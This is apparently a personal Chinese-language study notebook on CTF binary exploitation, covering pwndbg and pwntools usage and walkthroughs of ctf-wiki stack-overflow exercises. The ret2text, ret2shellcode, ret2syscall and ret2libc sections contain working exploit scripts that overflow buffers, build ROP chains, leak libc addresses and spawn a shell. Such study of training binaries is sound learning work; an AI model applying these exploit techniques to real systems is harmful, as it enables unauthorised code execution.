PWN

esp

1
2
3
#总记不住,但又常需要看,所以放到这里
push #先减esp,再压入
pop #先取数据再增esp


pwndbg调试指令记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# ******************************** ↓ 栈 ↓ ************************************************** #

#常用的
pwndbg> b main #break ,main函数下断点
pwndbg> r #run ,运行程序,其会自动在第一个断点处暂停执行
pwndbg> ni #next ,单步执行,不进入函数体
pwndbg> si #step ,单步执行,进入函数内部
pwndbg> p #print ,打印指定变量的值。例:p &buf2,查找buf2的存储地址,
pwndbg> i b #info break,查看所有断点
pwndbg> vmmap #查看当前程序的系统调用库,常用来查看可执行段位置
pwndbg> cyclic 200 #按一定的规则生成200个字符串
pwndbg> cyclic -l <数据> # 查询<数据>在生成的字符串中的位置,<数据>例子:0x62616164
pwndbg> b *<地址> # 指定地址处下断点,<地址>例子:0x08048648
pwndbg> x/130wx <地址> # 打印栈上信息,此处<地址>常用esp指向的栈地址
pwndbg> i all-registers # 查看所有寄存器信息

#不常用
pwndbg> starti #在程序第一条汇编指令处下断点
pwndbg> c #continue,运行至下一断点
pwndbg> d #delete ,通常用来删除所有断点,也可以删除指定编号的各类型断点
pwndbg> disass #~~emble ,反汇编,disassemble main,disassemble /r main

#暂未用到过的
pwndbg> l #list ,显示源程序代码的内容,包括各行代码所在的行号。
pwndbg> fi #finish ,结束当前正在执行的函数,并在跳出函数后暂停程序的执行。
pwndbg> j #jump ,使程序从当前要执行的代码处,直接跳转到指定位置处继续执行后续的代码。
pwndbg> q #quit ,终止调试。
pwndbg> u #until ,百度去搜

#高级用法--------下面这一部分记录的比较乱,没办法,之前没接触过
# http://c.biancheng.net/view/8238.html
# https://www.cnblogs.com/zuoanfengxi/p/12763350.html
pwndbg> set $eip = 0x8048300 #设置寄存器eip的值
pwndbg> p $eip #打印
pwndbg> x/i $eip #把地址处存的值按照汇编来解析,打印出来

# ******************************** ↑ 栈 ↑ ************************************************** #

# ------------------------------- 分界线 ------------------------------------------------- #

# ******************************** ↓ 堆 ↓ ************************************************** #

pwndbg> top_chunk #打印top chunk初始地址
pwndbg> vmmap #不做冗余解释
pwndbg> bin #查看bin表

pwndbg> file ./<二进制文件名> #导入源代码,方便调试
pwndbg> x/250gx <地址> #打印堆信息
pwndbg>

# ******************************** ↑ 堆 ↑ ************************************************** #


exp编写记录

宝藏博客:Pwntools | Lantern’s 小站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##-----------------------------------基本实用操作---------------------------------------##

##!/usr/bin/env python #python文本标识头
from pwn import * #导入pwntools中的所有模块
from LibcSearcher import * #导入LibcSearcher中的所有模块
context(arch="i386",os="linux",log_level="debug")
# -*- coding: utf-8 -*- or # coding:utf-8

#以上四句,写exp的时候加进首部就行了,前两句必加,第四句不加的话你的代码中就不能出现任何中文,注释也一样,否则会报错

#连接:
sh = process('本地文件') #创建本地连接
sh = remote("ip地址",端口号) #远程
sh.close() #关闭连接

#ELF文件操作
>>> e = ELF('/bin/cat')
(e.address) # 文件装载的基地址
0x400000
>>> print hex(e.symbols['write']) # 函数地址
0x401680
>>> print hex(e.got['write']) # GOT表的地址
0x60b070
>>> print hex(e.plt['write']) # PLT的地址
0x401680
>>> print hex(e.search('/bin/sh').next())# 字符串/bin/sh的地址

#I/O模块
sh.send(data) #发送数据
sh.sendline(data) #发送一行数据,相当于在数据后面加\n
p.sendlineafter('字符串',data)#在遇到字符串后发送数据
sh.interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用

#其他
buf2_addr = 0x804a080 #定义变量并为其赋值
p.recvuntil('字符串') #遇到相同字符串后再进行下一条指令(通常为sendline)

#结束
p.interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用

##-----------------------------------基本实用操作---------------------------------------##


##-----------------------------------花里胡哨操作---------------------------------------##

#等效替代
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)


##-----------------------------------花里胡哨操作---------------------------------------##


objdump

1
2
3
4
#遇见一个收录一个
$ objdump -dj .plt ret2libc2 #查看ret2libc2文件的plt表
$ objdump -h <可执行文件> #查看所有节,并节选所需内容



ROPgadget

1
2
#遇则收录
$ ROPgadget --binary ret2libc2 --only "pop|ret" #查找文件中的pop或ret字段

———————————————————————-分界线———————————————————————————————————–


ctf-wiki-pwn

栈溢出

基本ROP

ret2text

知识点:pwn相关的一些小技巧,偏移寻找、cyclic

注:个人笔记,重在个人对知识点的复习。

解题思路:存在 system(“/bin/sh”); 利用溢出修改ret指令处的地址控制程序跳转过去

原文链接:ctf-wiki-ret2text

点击下载:ret2text

1
2
3
4
5
6
7
8
9
# pwn相关的一些小技巧
$ file <文件名> #查看文件信息
$ checksec <文件名> #查看文件的保护机制
$ gdb <文件名> #gdb调试文件
ida中 tab、空格、shift+f12、Imports栏框
gdb中 b *<地址>、ni、x/136wx <esp指向的栈地址>、info registers查看寄存器值
python中 from pwn import * 、cyclic()、cyclic_find()

$ x/136wx 0xffffd0d0 #比较常用也比较容易忘

1
2
3
4
5
6
7
#解题过程
1、$ file ret2text #得知文件为32位可执行文件
2、$ checksc ret2text #查看文件保护机制,未开启任何保护(说明有很多思路可以使用)
3、打开32位ida查询主函数,发现gets()函数(存在栈溢出)
4、在secure函数中查找到 system("/bin/sh"); 字样,得到其位置0x0804863A
5、gdb调试查找偏移值,计算得偏移值112
6、编写解题脚本

4、函数窗口中点击secure函数,tab键(+空格键)得到如下界面。

image-20220321190453216


5、偏移值计算

image-20220321191631835

单走ni到达gets()函数,如下:

image-20220321191935613

新建命令行,打开python,导入pwntools中的所有模块,cyclic()生成200个较有规律的随机字符并输入到上图中的程序中,如下:

image-20220321192237309

image-20220321192458522

由上图的值ebp指向的是栈的0xffffd158位置,我们利用$ x/136wx 0xffffd0d0(0xffffd0d0是esp指向的栈位置,栈是从高地址向低地址生长的所以esp在ebp的下方,这句指令的意思是从0xffffd0d0开始向高地址按每个数据4字节打印136个数据)打印栈上信息,如下:

image-20220321194457925

上图中的0x62616163就是我们ebp指向的栈上存储的信息,翻译成字符就是baac,但由于内存小端序存值的原因,我们需倒序,因此要查找的字符为caab,我们回到python中查询caab字符串的位置,如下:

image-20220321194801166

因此从我们输入的第一个字符到ebp的初始位置相距108个字符,而我们的ret指令在ebp的上一个位置(为什么ebp的上一个位置为ret指令?自学下汇编,自己写个简单的程序反编译分析一下你就知道了),而我们要把 system(“/bin/sh”); 的位置地址 0x0804863A 覆盖到ret指令调用的栈位置(ret指令执行时就从该栈位置出取处地址并跳转过去),所以还要+4个字节(ebp占用4字节)即112个字符。

最后我们构造的payload如下:

1
2
3
4
5
6
7
##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * 112 + p32(target))
sh.interactive()

注:之后的题解不会写得如此详细,因为是个人笔记,重在个人复习,所以一些特别基础的知识及操作之后不再写出。(倘若碰巧你也是个pwn的初学者,欢迎找我讨论)



ret2shellcode

知识点:shellcode植入 、asm(shellcraft.sh()) 、ljust()

解题思路:.bss段可执行,且存在将输入值copy到.bss段的函数,借助溢出执行shellcode

原文链接: ctf-wiki-ret2shellcode

点击下载: ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
解题步骤:
1、ida:
#ida查看main函数分析,存在gets()函数,栈溢出
#发现strncpy()函数将输入的字符串复制到了buf2处,跟进buf2
#发现buf2存在与.bss段
#记录.bss段的起始地址:0x0804A040-0x0804A080

2、gdb:
#$ vmmap查看当前程序的系统调用库,发现.bss所在段具有可执行权限
#说明可以利用溢出跳转至.bss段处,再由系统执行.bss处被copy过去的shellcode
#注:我们的输入值会由strncpy()函数copy给buf2,而buf2在.bss段上
#偏移计算,偏移值为112个字符

3、编写解题脚本
#利用asm(shellcraft.sh())生成shellcode
#shellcode.ljust(112, 'A')将shellcode填充为112个字符长度的字符串
#注:ljust()用于字符串填充

1
2
3
4
5
6
7
8
9
10
#解题脚本如下:
#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()


ret2syscall

知识点:系统调用、寻找 gadgets 的方法

原文链接: ctf-wiki-ret2syscall

点击下载: ret2syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#知识点补充
系统调用:
int 0x80进入内核模式(与之对应的是用户模式),进入内核模式后,
系统会根据相应寄存器的值判定要进行什么样的系统调用

例:
这里就对ctf-wiki上的execve("/bin/sh",NULL,NULL)例子进行更通俗的解释:
若在执行int 0x80前做到以下三点,就相当于执行了execve("/bin/sh",NULL,NULL)指令
eax的值变为0xb
ebx的值为/bin/sh的地址
ecx和edx的值变为0

注:一般eax存储系统调用号,从以上的例子也可以看出
ebx、ecx、edx分别存储"/bin/sh",NULL,NULL三个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
解题步骤:
1、ida分析源码
2、gdb计算偏移,112
3、寻找控制 eax 的 gadgets:
指令:ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
选取:0x080bb196 : pop eax ; ret
4、寻找控制其它寄存器的 gadgets
指令:ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
选取:0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
5、查找 /bin/sh 字符串对应的地址
指令:ROPgadget --binary rop --string '/bin/sh'
选取:0x080be408 : /bin/sh
6、查找 int 0x80 的地址
指令:ROPgadget --binary rop --only 'int'
选取:0x08049421 : int 0x80
7、编写解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#解题脚本如下:
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

注:flat()用于标准化数据,相当于将flat中的每个数据外套上p32()

注:栈上数据的跳转实现,有空模拟一下



ret2libc

__不可错过的一篇博客:__https://blog.csdn.net/qq_40827990/article/details/86662079


例1:ret2libc1

知识点:system 函数与 /bin/sh 字符串分离,栈分析

原文链接:ctf-wiki-ret2libc

点击下载:ret2libc1

1
2
3
4
5
6
7
8
9
10
11
12
#解题脚本
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#解题步骤:
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
主要是搞懂中间为什么要隔4个字符,执行完每步汇编后栈上的值的情况怎样


push #先减esp,再压入
pop #先取数据再增esp


函数头:
push ebp #esp下移四个字节(32位寄存器大小),
#上一栈帧ebp值入栈

mov ebp,esp #esp值赋给ebp,即将ebp指向esp位置

and esp,FFFFFFF0h #esp加一个极大值,溢出部分忽略,
#相当于减了一个F,即esp下移F个位置

函数尾:
leave:等价于
mov esp,ebp

pop ebp #取出esp指向的栈位置处的数据赋给ebp,
#再将esp上移四个字节

retn:
pop eip #取出esp指向的栈位置处的数据赋给eip,
#再将esp上移四个字节

jmp eip #跳转到eip寄存器中存储的地址


所以我们可以看到,一个函数尾,会先从栈上取一个值赋给esp再取一个值赋给eip,
结合下方图片记录,好好理一遍,应该就能搞懂中间为什么要隔4个字符了。

图片记录(.\PWN\ ):

image-20220321212743720

image-20220321212728076

image-20220321212714333

image-20220321212317869

image-20220321212258169






例2:ret2libc2

知识点:got表、plt表

原文链接:ctf-wiki-ret2libc2

点击下载:ret2libc2

例3:ret2libc3

原文链接:ctf-wiki-ret2libc3

点击下载:ret2libc3

1
2
3
4
#LibcSearcher的安装
$ git clone https://github.com/lieanu/LibcSearcher.git
$ cd LibcSearcher
$ python setup.py develop

推荐题解:https://blog.csdn.net/qq_40827990/article/details/86662079

解题思路:

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#导入模块
from pwn import *
from LibcSearcher import LibcSearcher

#启动程序
p = process('./ret2libc3')

# 打印调试信息
context.log_level = 'debug'

#记录地址
start_addr = 0x80484d0
puts_plt_addr = 0x8048460
libc_start_main_got_addr = 0x804a024

#遇到指定字符串暂停程序
p.recvuntil('Can you find it !?')

#发送数据
p.sendline('q'*112 + p32(puts_plt_addr) + p32(start_addr) + p32(libc_start_main_got_addr))

#接收函数地址
libc_start_main_addr = u32(p.recv(4))

#打印 __libc_start_main_addr: 初始地址
print "__libc_start_main_addr: " + hex(libc_start_main_addr)

#查找使用的libc版本
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)

#计算偏移值
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')

#计算system函数地址
system_addr = libcbase + libc.dump('system')

#计算/bin/sh字符串地址
binsh_addr = libcbase + libc.dump('str_bin_sh') + 0xb9

#两个打印语句,显示相应地址
print "system_addr: " + hex(system_addr)
print "binsh_addr: " + hex(binsh_addr)

p.recvuntil('Can you find it !?')
p.sendline('s'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#导入模块
#!/usr/bin/env python
from pwn import *

from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

链接(查询libc版本):https://libc.blukat.me/



———————————————————————-分界线———————————————————————————————————–


博客收藏

遇到的一些好的博客,当然是要收藏一下的嘛╭(  ̄ ▽ ̄)╯,对了,有事没事多看看别人的友链,说不定能找到一两篇宝藏博客


链接(pwn新手推荐):二进制安全 · 语雀 (yuque.com)

链接(大佬博客):Clang裁缝店 (xuanxuanblingbling.github.io)

链接(大佬博客):blingbling’s blog (blingblingxuanxuan.github.io)

链接(大佬博客):CTF站点导航 | 猫捉鱼铃 (mzy0.com)

链接(大佬博客):SanhaCTF (su-sanha.cn)

链接(大佬博客):DaiDai’s blog (psyduck0409.github.io)

链接(大佬博客):nuoye大佬

链接(大佬博客):http://uuzdaisuki.com/

链接(大佬博客):Lantern’s 小站

链接(大佬博客):Ex’s blog (eonew.cn)

链接(大佬博客):Radish (radishes-nine.vercel.app)

链接(大佬博客):I0gan

链接(大佬博客):Hexo (squirre17.github.io)

链接(QAQ):安全客 - 安全资讯平台 (anquanke.com)

链接(杂):https://toutiao.io/subjects/6127

链接(杂):https://toutiao.io/u/129594



文章收藏

链接:逆向基础笔记二十四 汇编 指针(五) 系列完结 - 『软件调试区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn



函数

链接:C++ - 开发者手册 - 云+社区 - 腾讯云 (tencent.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*-- C/C++ --*/

fgets():
C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

fflush()用于清空文件缓冲区,如果文件是以写的方式打开 的,则把缓冲区内容写入文件。其原型为:int fflush(FILE* stream);

memset() 函数可以说是初始化内存的“万能函数”,memset() 的作用是在一段内存块中填充某个给定的值。因为它只能填充一个值,所以该函数的初始化为原始初始化,无法将变量初始化为程序中需要的数据。用memset初始化完后,后面程序中再向该内存空间中存放需要的数据。
void *memset(void *s, int c, unsigned long n); //原型
char str[10]; //例子
char *p = str;
memset(str, 0, sizeof(str)); //只能写sizeof(str), 不能写sizeof(p)

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
//可以通输入参数type=2(行缓冲)的setvbuf来使得每次从流中读入一行数据或向流中写入一行数据
//https://blog.csdn.net/Maxmalloc/article/details/102556335

sscanf()、sscanf_s()
//https://blog.csdn.net/wu_cai_/article/details/81702886

perror()
链接:https://www.runoob.com/cprogramming/c-function-perror.html

malloc()、calloc()、realloc() //这些函数用于从堆中动态获得一块内存

alloca() //在栈(stack)上申请空间

标记

1
2
70i64        //64位int类型数据70
_DWORD * //DWORD是无符号的,相当于unsigned long ,它是MFC的数据类型,类似于char *、int *

反编译中不理解的代码

例1(C++)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 得学C++

int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 32, edata); //从输入的字符串中读取前32个字符存入S
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5); //从v4的起始地址到v5的起始地址写入字符串“you”
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7); //从v6的起始地址到v7的起始地址写入字符串“I”
replace((std::string *)v3); //I 替换为you
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0); //重组后的字符串赋给s
return printf("So, %s\n", s);
}

img